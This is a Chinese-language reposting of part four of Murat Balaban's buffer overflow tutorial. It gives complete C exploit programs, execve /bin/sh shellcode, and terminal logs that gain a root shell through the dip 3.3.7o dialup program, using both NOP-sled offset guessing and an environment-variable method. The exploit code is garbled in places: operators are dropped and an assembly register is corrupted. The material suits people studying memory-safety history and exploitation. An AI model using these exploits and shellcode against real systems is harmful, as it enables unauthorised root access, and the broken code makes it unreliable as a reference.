缓冲区溢出解密四

互联网   发布时间:2008-10-08 19:04:01   作者:佚名   我要评论
来自Aleph1的文章: “可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字
记得我们之前为了找到校正所作的吗?
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已经知道下面是我们的shell生成码:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
这个子程序返回堆栈指针的值。如我以前告诉你们的,这不是漏洞程序的ESP。它是我们漏洞利用程序的ESP,而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我们的main():arg[5]是为了execve(),buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果这个”漏洞利用者”输入一些值作为一个偏移量,我们从提示的esp中减去这个值,如果没有,我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我们让地址指针指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我们校正我们的缓冲区后,我们先放置返回地址到整个缓冲区:
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我们将一些NULL操作指令填到缓冲区的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我们放置我们的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我们为execve()准备参数,如果你不明白这个去读execve的手册页:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;

注意上面我提供buf给-l选项。
接着我们execve(),如果一个错误产生了,我们通过perror()得到这个错误:
execve(arg[0], arg, NULL);
perror(execve);

让我们执行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我们不知道确切的地址,我们需要猜测偏移量。让我们假设我们不知道这个地址:
让我们首先试以-400作为偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P &ucirc;&yuml;: No such file or directory
Segmentation fault
[murat@victim murat]$

啊,让我们试-350:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P &ucirc;&yuml;: No such file or directory
Illegal Instruction
[murat@victim murat]$
让我们进行另一个猜测:
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
&ucirc;&yuml;: No such file or directory
bash#

然而,如你所见,猜测正确偏移量是非常乏味的。
现在是环境变量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
让我来详细说明这个漏洞利用程序:
我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址,我们把shellcode放到第一个环境变量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);

我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
从缓冲区的第一个对齐的地址开始,我们放置shellcode的计算地址。我们以四为步长增加i,因为当我们以1为步长增加一个指针的时候,意味
着我们每次对其增加了4个字节。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接着我们execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因为不需要尝试和猜测,第一次我们就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..h&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;
&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;&yuml;&yuml;&iquest;&Otilde;
&yuml;&yuml;:
No such file or directory
bash#

因此,两个方法之间的基本不同之处能被列成:
项目 Aleph1的方法 环境变量方法
-------------------- --------------------- ------------------------ 漏洞缓冲区 一半缓冲区被NOP填充, 全部缓冲区用地址填充
接着是shellcode,然后
是地址
sc的放置 我们放置sc在漏洞缓冲 我们放置sc在传递给execve
区里 ()的环境指针里
sc的地址 我们试着猜测sc的地址 我们*知道*sc的地址 小缓冲区 如果sc在缓冲区中不 因为我们已经不把sc放在缓
合适,就很难利用漏洞 冲区,这个就无关紧要了。仅
如果你选择把sc放到 仅4个字节就够了!
环境指针里你将必
须猜测环境指针的
地址
Diffic. Level somewhat harder easier!
最后的文字和致谢
这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求,而且实际上环境变量方法仍然缺少文档,而我认为用英文准备一篇这样的文章是一个很好的主意,还有介绍一个更加易懂的shellcode等等,我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额,给我email,我将改正它。先行致谢。 - Murat Balaban 致谢:a, matsuri, gargoyle
参考书目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道,请告诉我,这样我能在这里加上。

相关文章

最新评论